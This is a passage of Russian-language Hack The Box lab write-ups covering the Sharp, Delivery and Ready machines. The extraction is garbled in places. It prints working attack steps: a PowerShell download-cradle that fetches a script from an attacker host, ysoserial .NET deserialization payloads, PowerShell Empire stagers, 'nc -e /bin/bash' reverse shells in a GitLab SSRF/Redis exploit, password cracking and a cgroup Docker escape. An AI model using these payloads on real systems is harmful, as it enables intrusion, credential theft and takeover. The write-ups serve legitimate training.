ющих на уда лен ном хос те.

-A

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Ре зуль тат работы скрип та

Как это обыч но быва ет на машинах с Windows, в резуль тате ска ниро вания
име ем мно го откры тых пор тов:

135 — MSRPC, служ ба уда лен ного вызова про цедур;•
139 — служ ба имен NetBIOS;•
445 — SMB;•
5985 — WinRM, служ ба уда лен ного управле ния;•
8888 и 8889 — спе цифи кация .NET Message Framing.•

Как видишь, здесь нет веб-сер вера или каких-то дру гих сер висов, которые бы
пре дос тавля ли широкое поле для про верок и поис ка учет ных дан ных. А зна- 
чит, у нас все го два даль нейших век тора: тест без учет ных дан ных (через ано- 
ним ный дос туп) и, если ничего не получит ся, брут форс учет ки.

Ïåðåáîð SMB

Пер вым делом про веря ем, что мож но най ти на шаре SMB. Находим общую
дирек торию , которая дос тупна без авто риза ции. С помощью 
сра зу прос матри ваем рекур сивно все содер жимое (опция ):

kanban SMBMap
-R

smbmap -H sharp.htb 

Про вер ка ано ним ного дос тупа

smbmap -H sharp.htb -R kanban 

По луче ние содер жимого обще го ресур са kanban

Фай лов очень мно го, и удоб нее ана лизи ровать их локаль но, поэто му я под- 
клю чил ся к обще му ресур су через про вод ник и ско пиро вал все содер жимое
катало га на локаль ный хост.

По хоже, перед нами какое-то при ложе ние для Windows. Сре ди фай лов
наш лось руководс тво поль зовате ля, это нам на руку. А в фай ле

 находим учет ные дан ные двух поль зовате лей. Их
пароли ока зались зашиф рованы. Для прос мотра фай лов в фор мате JSON
в тер минале советую исполь зовать ути литу jq, которая поз воля ет в два сче та
пар сить раз метку и вытяги вать нуж ные дан ные.

PortableKanban.pk3

cat PortableKanban.pk3 | jq 

Учет ные дан ные в фай ле кон фигура ций

ÒÎ×ÊÀ ÂÕÎÄÀ

Пе рей дем на машину с Windows (я обыч но работаю в Linux) и пос мотрим, что
нам даст запуск при ложе ния. Пер вым делом оно нас про информи рует, что
по умол чанию пароль для адми нис тра тора пус той.

Со обще ние Portable Kanban

Тут приш ла идея изме нить сами фай лы кон фигура ции прог раммы, так
как циф ровая под пись отсутс тву ет и при ложе ние не смо жет про верить целос- 
тность содер жащих ся в кон фиге дан ных. Сох раним фай лы кон фигура ции
перед их изме нени ем.

Фай лы кон фигура ции, под лежащие копиро ванию

Сна чала уда лим файл с раз решени ем , а потом убе рем в двух оставших ся
фай лах кон фигура ции пароль адми нис тра тора по клю чу .
Теперь мы можем успешно авто ризо вать ся как  с пус тым
паролем.

md5
EncryptedPassword

Administrator

Файл кон фигура ции с пус тым паролем

Глав ное окно при ложе ния Portable Kanban

Сто ит хорошень ко изу чить при ложе ние, так как в нем могут най тись записи
с кри тичес кими дан ными или еще какая-нибудь полез ная информа ция. К при- 
меру, перей дя в нас трой ки, мы видим спи сок всех зарегис три рован ных
в прог рамме поль зовате лей (те же, что и в кон фиге). Что еще более важ но,
мы можем пос мотреть пароль в откры том виде, прос то сняв галоч ку. Пус тое
поле пароля у адми нис тра тора сви детель ству ет о том, что это рас шифро ван- 
ный пароль из кон фига. Так мы узна ем пароль поль зовате ля lars.

Па роль поль зовате ля lars

По луча ется, мы можем рас шифро вать пароли из кон фига. Давай вос ста- 
новим и пароль адми на — он еще может при годить ся. Вос ста нав лива ем сох- 
ранен ные кон фиги и меня ем роль (ключ ) извес тно го нам поль зовате ля
lars c  на . Успешно авто ризу емся (ведь пароль мы уже зна ем)
и уже зна комым нам спо собом получа ем пасс адми нис тра тора.

Role
User Admin

Файл кон фигура ции с изме нен ной ролью поль зовате ля

Па роль поль зовате ля Administrator

Те перь у нас уже есть кое-какие учет ные дан ные, и мы можем поп робовать
под клю чить ся к извес тным нам служ бам. Сно ва начина ем с SMB и узна ем, что
от име ни поль зовате ля lars нам дос тупна новая дирек тория — . Сра зу
рекур сивно прос мотрим все содер жимое.

dev

 smbmap -H sharp.htb -u lars -p 'G123HHrth234gRG'

Про вер ка дос тупа от име ни поль зовате ля lars

   dev smbmap -H sharp.htb -u lars -p 'G123HHrth234gRG' -R

По луче ние содер жимого обще го ресур са dev

В най ден ной дирек тории видим запис ку и три исполня емых фай ла, один
из которых — биб лиоте ка с говоря щим наз вани ем . Я
сно ва под клю чил ся через про вод ник и сох ранил все содер жимое на локаль- 
ный хост. В запис ке содер жится спи сок задач, где ска зано о гря дущем
перено се .NET на WCF и добав лении валида ции вход ных дан ных.

RemotingLibrary.dll

Ре зуль тат работы скрип та

По доб ные упо мина ния очень полез ны, так как теперь мы зна ем, что ввод
не филь тру ется, и в этом зак люча ется даль нейший век тор ата ки. Что очень
важ но, при ложе ние написа но на C#, поэто му перено сим фай лы на машину
с Windows и деком пилиру ем с помощью , начиная, конеч но же, с кли- 
ента. Как вид но в стро ке 15 деком пилиро ван ного кода, при ложе ние отве чает
на пор те 8888. А стро ки 16 и 17 содер жат учет ные дан ные для под клю чения,
которое обес печива ется за счет исполь зования 

.

dnSpy

System.Runtime.Remoting.
Channels.Tcp

Ре зуль тат деком пиляции при ложе ния Client.exe

У меня уже был подоб ный опыт, поэто му я догады вал ся, какую уяз вимость
при дет ся экс плу ати ровать. Речь о багах  (недос таточ ное огра- 
ниче ние на дос туп к памяти) и  (отсутс твие про вер ки
TypeFilterLevel). В экс плу ата ции нам поможет .

CVE-2014-1806
CVE-2014-4149

экс пло ит Джей мса Фор шоу

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/ShawnDEvans/smbmap
https://github.com/dnSpy/dnSpy
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1806
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4149
https://github.com/tyranid/ExploitRemotingService


HTB SHARP
ПОТРОШИМ СЕРВИС НА .NET

ЧЕРЕЗ .NET REMOTING SERVICES

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÇÀÊÐÅÏËÅÍÈÅ

Прис тупим к экс плу ата ции. Сна чала сге нери руем наг рузку-дроп пер, которая
будет выпол нять основную наг рузку. В качес тве наг рузки дроп пера исполь- 
зуем однос троч ник на PowerShell, который заг рузит c нашего хос та код
на PowerShell и выпол нит его.

IEX(new-object net.webclient).downloadstring('http://10.10.14.73:
8888/mt.ps1')

Этот код нуж но сери али зовать опре делен ным спо собом, для чего будем
исполь зовать инс тру мент . В парамет рах ука зыва ем кодиров ку
Base64 (параметр ) и тип гад жета  (параметр ).

ysoserial
-o TypeConfuseDelegate -g

.\ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate 
-c "powershell -c IEX(new-object net.webclient).downloadstring(
'http://10.10.14.73:8888/mt.ps1')"

Те перь нуж но сге нери ровать стей джер, который будет заг ружен и выпол нен.
Я исполь зовал быс тро набира ющий обо роты (спа сибо BC-Security) фрей- 
мворк PowerShell Empire.

Сна чала запус тим лис тенер HTTP, а потом сге нери руем для него стей- 
джер. Лис тенеру зада ем имя, а так же локаль ные порт и адрес для соеди- 
нения. Стей дже ру зада ем запущен ный лис тенер, ука зыва ем параметр
обфуска ции и путь к фай лу, куда будет сох ранен заг рузчик для стей дже ра.

uselistener
 set Name [имя листенера] 
  [set Host IP-адрес] 
 set Port [порт] 

execute

 /usestager window launcher_bat
 set Listener [имя листенера] 
 set OutFile [файл для сохранения] 
  set Obfuscate True

execute

Под готов ка PowerShell Empire

Под готов ку завер шаем запус ком локаль ного веб-сер вера, к при меру python3
(в дирек тории с наг рузкой PowerShell Empire).

python3 -m http.server 8888 

Те перь отправ ляем наг рузку (с машины с Windows), которую получи ли c
помощью ysoserial. В окне Empire уви дим сооб щение о соз данном аген те,
а зна чит, ата ка завер шена и мы получи ли кон троль над машиной (имя аген та
даль ше будет отли чать ся, так как приш лось вос ста нав ливать соеди нение
пос ле сбро са машины).

 ExploitRemotingService.exe -s --user=debug --pass=
"SharpApplicationDebugUserPassword123!" tcp://10.10.10.219:8888/ 
SecretSharpDebugApplicationEndpoint raw AAEAAAD/////AQ... 

Спи сок аген тов PowerShell Empire

По лучим управле ние над аген том коман дой , узна ем информа цию
о поль зовате ле ( ) и заберем флаг поль зовате ля.

interact
whoami /all

Пол ная информа ция о текущем поль зовате ле

Флаг поль зовате ля

ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Ос мотрев шись в поль зователь ском прос транс тве, в дирек тории 
находим про ект , написан ный на C#.

Documents
wcf

Со дер жимое дирек торий Documents и Documents\wcf

Заг ружа ем его на локаль ный хост для изу чения. В кли енте видим под клю-
чение на локаль ный порт 8889 (стро ка 11), пос ле чего отправ ляют ся некото- 
рые коман ды (стро ки 14–16).

Ис ходный код Client\Program.cs

В исходном коде этих команд находим еще одну —  (стро- 
ка 51).

InvokePowershell

Ме тоды клас са RemotingMethods

Из изу чения исходно го кода метода  уже в сер верной час- 
ти при ложе ния ста новит ся понят но, что тут есть воз можность выпол нения
команд PowerShell на уда лен ном хос те (стро ки 131–134).

InvokePowershell

Ис ходный код метода InvokePowershell в фай ле Server\Program.cs

Ес ли пос мотреть спи сок прос лушива емых пор тов (коман да )
и работа ющих про цес сов (коман да ) на уда лен ной машине, мож но
сде лать вывод, что сер верная часть при ложе ния в дан ный момент работа ет,
при чем от име ни адми нис тра тора.

netstat -a
tasklist

Спи сок про цес сов на уда лен ном хос те

Спи сок откры тых пор тов на уда лен ном хос те

Да вай добавим в код кли ента еще одну коман ду —  (стро- 
ка 17), что поз волит уже зна комой нам коман дой заг рузить на сер вер
и выпол нить еще один стей джер Empire. Так мы получим новую сес сию —
на этот раз админ скую!

InvokePowershell

Код модер низиро ван ного кли ента

Ос талось соз дать новые лис тенер и стей джер PowerShell Empire.

uselistener
 set Name [имя листенера] 
  [set Host IP-адрес] 
 set Port [порт] 

execute

 /usestager window launcher_bat
 set Listener [имя листенера] 
 set OutFile [файл для сохранения] 
  set Obfuscate True

execute

Соз дание нового лис тенера и генера ция стей дже ра PowerShell Empire

Ког да все готово, ком пилиру ем изме нен ный код кли ента (я это делал в Visual
Studio 2019) и коман дой  фрей мвор ка Empire заг ружа ем ито говый
исполня емый файл на уда лен ный хост, пос ле чего прос то выпол няем.

upload

Вы пол нение изме нен ного кли ента и получе ние нового аген та Empire

В окне Empire сра зу соз дает ся новый агент, но уже при виле гиро ван ный (о
чем нам говорит звез дочка перед име нем учет ной записи).

Флаг адми нис тра тора

Мы зах ватили машину и име ем над ней пол ный кон троль.

https://github.com/pwntester/ysoserial.net


HTB

DELIVERY
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ВЗЛОМ

Се год ня нам пред сто ит про хож дение лег- 
кой машины под наз вани ем Delivery с пло- 
щад ки . Мы поуп ражня емся
в базовых тех никах взло ма, получим дос туп
к Mattermost с помощью Support Ticket
System, а потом будем ломать пароли,
задавая кас томные пра вила в hashcat.

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

IP-адрес Delivery — 10.10.10.222, я добав лю его в , что бы мож но
было обра щать ся к хос ту по име ни. Строч ка, которую нуж но добавить в файл,
будет выг лядеть вот так:

/etc/hosts

10.10.10.222    delivery.htb 

Лю бая ата ка начина ется со ска ниро вания откры тых на хос те пор тов. Это нуж- 
но, что бы знать, какие служ бы отзы вают ся на наш зап рос, а соот ветс твен но,
работа ют на целевой сис теме. Исхо дя из этой информа ции, мы смо жем
выбирать путь для получе ния точ ки вхо да и зак репле ния на хос те.

Я это делаю с помощью сле дующе го скрип та, который исполь зует ути литу
Nmap. Он при нима ет один аргу мент — адрес ска ниру емо го хос та. Сна чала
скрипт про изво дит обыч ное быс трое ска ниро вание, а затем все най ден ные
пор ты ска ниру ются с исполь зовани ем уста нов ленных скрип тов для Nmap.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Ре зуль тат работы скрип та

Так я обна ружил три откры тых пор та:
порт 22 — служ ба SSH;•
порт 80 — веб-сер вер nginx 1.14.2;•
порт 8065 — веб-сер вер, но пока не уста нов лено какой.•

SSH в начале решения машины тро гать нет смыс ла: там нужен пароль, а у нас
его нет. Переби рать логины и пароли (то есть брут форсить учет ные дан ные)
при решении задачек — пос леднее дело, навер няка есть более эле ган тный
метод добыть учет ку.

По это му откры ваем бра узер и заходим на сайт номер один, то есть тот,
что работа ет на 80-м пор те. Нам нуж но не толь ко искать потен циаль ные точ ки
вхо да и уяз вимос ти, но и собирать всю сопутс тву ющую информа цию: име на
поль зовате лей, вер сии ПО, на котором работа ет сайт, и так далее.

Глав ная стра ница сай та сра зу приг лаша ет нас перей ти в раз дел Contact
Us. Там мы находим две ссыл ки.

Стра ница Contact Us

Ñêàíèðîâàíèå âåáà

Пер вая ссыл ка, обоз начен ная как HelpDesk, дает нам новый под домен
, который сра зу сто ит добавить в файл .

Тут нас ждет сис тема под дер жки, осно ван ная на тикетах.
helpdesk.delivery.htb /etc/hosts

10.10.10.222    helpdesk.delivery.htb 

Глав ная стра ница helpdesk.delivery.htb

Это при ложе ние, которое собира ет и отсле жива ет все обра щения в служ бу
под дер жки из раз ных источни ков, к при меру по телефо ну или по элек трон ной
поч те. Незави симо от спо соба обра щения зап рос будет зарегис три рован
в еди ной сис теме. При каж дом новом обра щении соз дает ся заяв ка, а к ней
прик репля ются дан ные о кли ентах и инци ден тах. Дос туп к такой сис теме
может быть очень полезен, но пока что пой дем даль ше.

Вто рая ссыл ка, с тек стом MatterMost server, при водит на тот самый
непонят ный порт 8065, о котором мы узна ли на ста дии ска ниро вания. Там нас
сра зу встре чает фор ма авто риза ции Mattermost с воз можностью регис тра ции
и вос ста нов ления пароля.

Фор ма авто риза ции Mattermost

Mattermost — это инте рак тивный онлай новый чат с откры тым исходным
кодом, с воз можностью обме на фай лами, сво им поис ком и интегра циями. Он
раз работан как внут ренний чат для орга низа ций и в основном позици они- 
рует ся как опен сор сная аль тер натива Slack и Microsoft Teams. Заполу чив дос- 
туп к такому чату, мы смо жем узнать полез ную информа цию и получить сох- 
ранен ные там фай лы.

ÒÎ×ÊÀ ÂÕÎÄÀ

При регис тра ции у нас зап рашива ют адрес элек трон ной поч ты для под- 
твержде ния регис тра ции. Поэто му мы не можем ука зать несущес тву ющий
адрес.

Пос коль ку мы уже зна ем о сущес тво вании сис темы заявок, сто ит поп- 
робовать ее исполь зовать. Бла го нам дос тупны опции соз дания заяв ки и про- 
вер ки ее ста туса. Перехо дим на вклад ку Open a New Ticket в сис теме заявок
и ука зыва ем необ ходимые для ее соз дания дан ные: адрес элек трон ной поч ты
(конеч но же, несущес тву ющий), имя поль зовате ля, а так же опи сание сво ей
проб лемы (любой текст).

Пос ле это го получа ем информа цион ное пись мо с номером заяв ки. Но что
более важ но, для допол нения информа ции по заяв ке нам дают адрес элек- 
трон ной поч ты!

Фор ма офор мле ния новой заяв ки

Ин форма цион ное сооб щение о при нятой заяв ке

Так как при прос мотре ста туса тикета отоб ража ется исто рия обра щений, мы
можем исполь зовать дан ный нам адрес элек трон ной поч ты при регис тра ции.
Тог да в заяв ке мы смо жем уви деть прис ланную на дан ный адрес ссыл ку
для под твержде ния регис тра ции. Давай так и сде лаем: регис три руем ся
в Mattermost, а затем получа ем ста тус заяв ки.

Фор ма регис тра ции Mattermost

По луче ние ста туса заяв ки в HelpDesk

Со обще ние об успешной регис тра ции

Как и пред полага лось, мы получа ем сооб щение об успешной регис тра ции
в информа ции о заяв ке. В сооб щении есть ссыл ка для под твержде ния,
перей дя по которой мы ста нем пол ноправ ным поль зовате лем чата
Mattermost.

Фор ма авто риза ции Mattermost c сооб щени ем об успешной верифи -
кации

ÇÀÊÐÅÏËÅÍÈÅ

Смот рим дос тупные сооб щения и сре ди них находим учет ные дан ные
для сер вера. С най ден ными учет ными дан ными успешно под клю чаем ся к хос- 
ту по SSH.

Чат Mattermost

Так мы получи ли флаг поль зовате ля.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Äàìïèíã ó÷åòíûõ äàííûõ

Так как на хос те раз вернут веб-сер вер, а на нем работа ет аж целое веб-при- 
ложе ние, пер вое наше дей ствие — поп робовать получить какие-либо учет ные
дан ные поль зовате лей это го при ложе ния. Высока веро ятность, что эти учет- 
ные дан ные подой дут и для локаль ных поль зовате лей тоже. Обыч но такие
дан ные хра нят ся либо в кон фигах, либо в базе дан ных. Mattermost хра нит
учет ные дан ные поль зовате лей в базе дан ных MySQL, а учет ные дан ные
для под клю чения к базе находят ся в фай ле кон фигура ций 

 в раз деле  по клю чу .
/opt/mattermost/

config/config.json SqlSettings DataSource

Учет ные дан ные для под клю чения к базе Mattermost

Под клю чим ся к локаль ной СУБД с най ден ными учет ными дан ными. Нас будет
инте ресо вать таб лица  из базы дан ных .Users mattermost

mysql -u mmuser -pCrack_The_MM_Admin_PW

show databases;
use mattermost;
show tables;

 select * from Users;

По луче ние спис ка баз дан ных и таб лиц

Спи сок таб лиц (про дол жение)

Со дер жимое таб лицы Users

В этой таб лице мно го полей, но нам инте рес ны  и , поэто- 
му пов торим выбор ку толь ко этих стол бцов.

Username Password

select Username,Password from Users;

Име на и хеши паролей поль зовате лей Mattermost

Ïðàâèëà hashcat

Сре ди обна ружен ных поль зовате лей зна чит ся и поль зователь . Смот рим
его сооб щения в чате и выяс няем, что его пароль осно ван на стро ке

. И хоть такой фра зы нет в готовых сло варях, мы можем
исполь зовать пра вила hashcat для получе ния пароля.

root

PleaseSubscribe!

Со обще ния поль зовате ля root в чате

На GitHub мож но най ти мно го раз ных фай лов-пра вил, мне помог про ект
. Сге нери руем по дан ному пра вилу новый спи сок

паролей, осно ван ный на стро ке , а затем перебе рем хеш
рута по это му сло варю при помощи зна мени того перебор щика пароля John
the Ripper.

Optimised-hashcat-Rule
PleaseSubscribe!

 
 

echo "PleaseSubscribe!" | hashcat -r ./tools/OneRuleToRuleThemAll.
rule --stdout > wordlist2.txt 
john --wordlist=wordlist2.txt root.hash 

Об наружен ный с помощью John пароль

Па роль най ден, и его мож но исполь зовать для получе ния рута.

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/stealthsploit/Optimised-hashcat-Rule
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ЭКСПЛУАТИРУЕМ ДЫРУ В GITLAB
И СОВЕРШАЕМ ПОБЕГ ИЗ DOCKER

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этой статье мы раз берем целую цепоч ку
уяз вимос тей, которая даст нам выпол нение
про изволь ного кода в GitLab — популяр- 
ней шем опен сор сном ана логе GitHub.
Затем устро им побег из кон тей нера Docker,
что бы получить кон троль над хос том. Все
это — на при мере решения машины Ready
с пло щад ки . Поеха ли!Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

Ад рес машины — 10.10.10.202, сме ло кида ем его в , что бы писать
вмес то это го .

/etc/hosts
ready.htb

10.10.10.202    ready.htb 

И конеч но, ска ниру ем пор ты в поис ках инте рес ных вещей.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Ре зуль тат работы скрип та

Ви дим два откры тых пор та: 22 (служ ба SSH) и 5080 (веб-сер вер nginx).
На SSH мы пой дем сту чать ся, ког да у нас будут какие-нибудь учет ные дан ные,
поэто му нач нем с nginx. Скрипт, при веден ный выше, любез но пре дос тавил
нам информа цию из поля , бла года ря которой мы сра зу опре- 
деля ем исполь зуемую тех нологию — .

http-title
GitLab

GitLab — это сис тема управле ния репози тори ями кода на осно ве Git
с собс твен ной вики, сис темой отсле жива ния оши бок и дру гими фун кци ями.
Отличная шту ка, но, как и в любом популяр ном про екте, в нем вре мя от вре- 
мени находят дыры. Наша цель сей час — узнать, какие имен но из них будут
нам дос тупны.

Стра ница авто риза ции GitLab

У нас есть воз можность зарегис три ровать ся, сра зу сде лаем это, что бы
получить дос туп к боль шему чис лу фун кций, чем пре дос тавля ется для гос тей.
В пер вую оче редь нам нуж но узнать вер сию про дук та и поис кать информа- 
цию или отче ты об уже най ден ных уяз вимос тях, а воз можно, и готовые экс- 
пло иты. Обыч но вер сию мож но узнать на стра ницах вро де About или Help.
Заод но не забыва ем прой тись и по дру гим раз делам — в поис ках цен ной
информа ции вро де имен поль зовате лей и подоб ных вещей.

ÒÎ×ÊÀ ÂÕÎÄÀ

На стра нице Help находим вер сию про дук та — 11.4.7.

Ис поль зуемая вер сия GitLab

Впол не веро ятно, что для такого популяр ного про дук та в Exploit DB най дут ся
готовые уяз вимос ти. Если ты исполь зуешь Kali Linux или дру гой хакер ский
дистр, то, ско рее все го, можешь прос то написать коман ду :searchsploit

searchsploit gitlab 11.4.7 
searchsploit -p ruby/webapps/49334.py 

Ре зуль тат работы скрип та

INFO

В реаль ных усло виях луч ше исполь зовать Google,
что бы искать по всем дос тупным иссле дова ниям
и отче там, вклю чая самые новые.

Так мы узна ем об уяз вимос ти, которая может пре дос тавить уда лен ное выпол- 
нение кода (RCE). Так же получа ем ее иден тифика тор (2018-19571 и 2018-
19585) в базе дан ных обще извес тных уяз вимос тей информа цион ной
безопас ности (CVE).

INFO

Об экс плу ата циях уяз вимос тей в GitLab читай
так же в стать ях «

»
и «

».

HTB Laboratory. Взла мыва ем
GitLab и учим ся перех ватывать пути в Linux

Чи тай и выпол няй. Как работа ет экс пло ит
новой уяз вимос ти в GitLab

ÇÀÊÐÅÏËÅÍÈÅ

Най ден ный нами экс пло ит исполь зует цепоч ку уяз вимос тей. Сна чала идет
обыч ный блок кода, авто ризу ющий нового поль зовате ля.

Блок кода, авто ризу ющий поль зовате ля

За тем экс плу ати рует ся уяз вимость SSRF в фун кции соз дания нового про екта
при импорте репози тория по URL. Это поз воля ет нам обра щать ся к локаль- 
ному сер веру Redis, который работа ет на пор те 6379. Так как при этом «зап- 
росы к локаль ному хос ту не раз решены», для обхо да исполь зует ся спе циаль- 
ный адрес IPv6: .[0:0:0:0:0:ffff:127.0.0.1]:6379

Ре зуль тат работы скрип та

Redis — резиден тная сис тема управле ния базами дан ных клас са NoSQL
с откры тым исходным кодом, работа ющая со струк турами дан ных типа
«ключ — зна чение». Она час то исполь зует ся и в роли СУБД, и для реали зации
кешей и бро керов сооб щений. GitLab исполь зует его по-раз ному, нап ример
для хра нения дан ных сеан са, кеширо вания и даже для хра нения оче реди
фоновых заданий.

Так как Redis исполь зует прос той тек сто вый про токол, мы можем спо кой но
работать с ним нап рямую, не соб людая никаких спе цифи каций. Так как есть
воз можность вза имо дей ство вать с Redis через SSRF, ста новит ся воз можным
получе ние уда лен ного выпол нения кода (RCE).

Де ло в том, что Redis так же мож но исполь зовать для фоновых оче редей
заданий, которые обра баты вают ся с помощью  — пла ниров щика
заданий с откры тым исходным кодом, написан ным на Ruby. В пред став ленной
наг рузке, которая отправ ляет ся Redis, исполь зуют ся вло жен ные зап росы,
и наг рузка ста новит ся похожа на гад жет. Так, в экс пло ите фун кция

 исполь зует ся для обра бот ки новых заданий, а класс
 (из фай ла ) вызыва ется

с такими аргу мен тами, как , а даль ше — коман да, которую нуж но
выпол нить.

Sidekiq

system_hook_push
GitlabShellWorker gitlab_shell_worker.rb

class_eval

В исходном экс пло ите выпол няет ся вот такая коман да:

 

 

 

open('|""" + f'nc {local_ip} {local_port} -e /bin/bash' + """ ').read)

multi 
sadd resque:gitlab:queues system_hook_push 
lpush resque:gitlab:queue:system_hook_push "
{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|""" 
+ f'nc {local_ip} {local_port} -e /bin/bash' + """ 
\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc
5641173e217eb2e52\",\"created_at\":1608799993.1234567,\"enqueued_at\":16
08799993.1234567}" 
exec 
exec 
exec

Я изме нил выпол няемую коман ду на ста тичес ки задан ный шелл: 
.

'nc -e /
bin/bash [local_ip] [local_port] '

Ори гиналь ная коман да, исполь зуемая в экс пло ите

Ста тичес кий шелл, заменив ший ори гиналь ную коман ду

Наш код дол жен выз вать кон нект на ука зан ные адрес (локаль ный IP) и порт.
Но что бы отло вить это под клю чение, нам сна чала нуж но позабо тить ся о дру- 
гой сто роне и соз дать лис тенер.

INFO

Я советую исполь зовать ути литу  —
это удоб ная обо лоч ка с исто рией команд.
В качес тве самого лис тенера я исполь зую netcat.

rlwrap

При прос том запус ке экс пло ита узна ем необ ходимые парамет ры, такие
как логин и пароль, URL GitLab, а так же адрес локаль ного хос та и локаль ный
порт для под клю чения (они неваж ны, так как мы ука зали их в наг рузке ста- 
тичес ки).

apt install rlwrap 
 rlwrap nc -lvp [port] 

За пуск экс пло ита 49334

В окне лис тенера netcat получа ем бэк конект в кон тек сте поль зовате ля .git

Бэк конект в лис тенере

ÏÐÎÄÂÈÆÅÍÈÅ

Мы получи ли дос туп к хос ту, и сле дующий шаг — это сбор информа ции.
Источни ков может быть мно го, все не упом нишь, и дело зна читель но уско- 
ряют скрип ты . Они авто мати чес ки про шер стят сис тему и даже под све- 
тят информа цию, на которую сто ит обра тить вни мание. Заг рузим на локаль- 
ный хост скрипт для Linux.

PEASS

wget https://github.com/carlospolop/privilege-escalation-awesome-
scripts-suite/blob/master/linPEAS/linpeas.sh 

Те перь нуж но заг рузить его на уда лен ный хост. В дирек тории со скрип том
на локаль ной машине запус тим с помощью  прос той веб-сер вер. Пос- 
ле выпол нения коман ды веб-сер вер будет прос лушивать порт 8000.

python

python3 -m http.server 

С помощью того же  на целевой машине заг рузим скрипт с локаль ного
хос та на уда лен ный. Пос ле заг рузки необ ходимо дать пра во на выпол нение
и выпол нить скрипт.

wget

wget http://[ip_локального_хоста]:8000/linpeas.sh 
chmod +x linpeas.sh 
./linpeas.sh 

Из вывода LinPEAS мы узна ем важ ный факт: мы работа ем внут ри кон тей нера
Docker. Так же обра щаем вни мание на сущес тво вание катало га 

.
/opt/

backup/

Оп ределе ние сис темы, выпол ненное LinPEAS

Со дер жимое дирек тории /opt/backup/

Мы находим два фай ла, свя зан ных с GitLab. Мож но прос то смот реть их (как
это делал я), а мож но и греп нуть раз ные сло ва, вро де pass, token, secret.
Резуль тат будет один — мы най дем еще один пароль, который мож но
попытать ся исполь зовать далее.

Па роль в фай ле GitLab

Пер вое, что при ходит на ум пос ле такой наход ки, — это сме на поль зовате ля,
но, что бы ее выпол нить, нам нуж но получить инте рак тивную обо лоч ку. Есть
нес коль ко спо собов, как это мож но сде лать, но если на машине при сутс тву ет
интер пре татор Python 3, то дос таточ но все го лишь двух строк кода, которые
мы напишем пря мо в коман дной стро ке:

 python3 -c 'import pty; pty.spawn("/bin/bash")'

По луче ние инте рак тивно го шел ла

Те перь прос то меня ем поль зовате ля при помощи . Затем находим в Docker
одно го поль зовате ля, у которо го и забира ем флаг.

su

По луче ние рута в докере

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ: ÏÎÁÅÃ ÈÇ DOCKER

Итак, у нас есть рут, но рут в кон тей нере. Мож но сно ва запус кать скрипт типа
LinPEAS, но в слу чае с Docker советую исполь зовать дру гой скрипт для раз- 
ведки — . Он про водит необ ходимые про вер ки в поис ках пути
повыше ния при виле гий или побега из Docker и даже про веря ет некото рые
экс пло иты. Заг рузим Deepce через уже запущен ный локаль ный веб-сер вер
на уда лен ный кон тей нер.

Deepce

wget http://[ip_локального_хоста]:8000/deepce.sh 
chmod +x deepce.sh 
./deepce.sh 

Ре зуль тат работы скрип та Deepce

В выводе скрипт сооб щает, что Docker запущен в при виле гиро ван ном
режиме и мы можем повысить при виле гии на основном хос те, вый дя из кон- 
тей нера. Даже ссыл ку на инс трук цию дают! При виле гиро ван ные кон тей неры
запус кают ся с фла гом  и име ют root-дос туп к основно му хос ту.--privileged

PoC, пред ложен ный Deepce

По ссыл ке получа ем целый PoC и еще две ссыл ки на свя зан ные матери алы,
в том чис ле и на .Exploit DB

Экс пло ит с Exploit DB

В осно ве это го экс пло ита лежат кон троль ные груп пы ( ). Имен но
 помога ет изо лиро вать исполь зование ресур сов, за счет чего и про-

изво дит ся изо ляция кон тей неров. Пос ле завер шения пос ледне го про цес са
в  выпол няет ся коман да, которая уда ляет прек ратив шие работу кон- 
троль ные груп пы. Коман да ука зана в фай ле  и выпол няет ся
от име ни поль зовате ля  на основном хос те — это и есть путь к повыше- 
нию при виле гий.

cgroup
cgroup

cgroup
release_agent

root

Са мое опас ное, что для нас откры вает флаг , — это коман да
. Сна чала мы соз даем новый каталог , мон тиру ем кон трол лер

кон троль ной груп пы  и соз даем дочер нюю кон троль ную груп пу (в дан- 
ном слу чае ):

--privileged
mount /tmp/cgrp

RDMA
x

 mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir 
/tmp/cgrp/x 

За тем про исхо дит акти вация фун кции , так как по умол чанию
она неак тивна.

release_agent

1 echo > /tmp/cgrp/x/notify_on_release 

И наконец, про писы вает ся путь к самому .release_agent

  host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
  echo "$host_path/cmd" > /tmp/cgrp/release_agent 

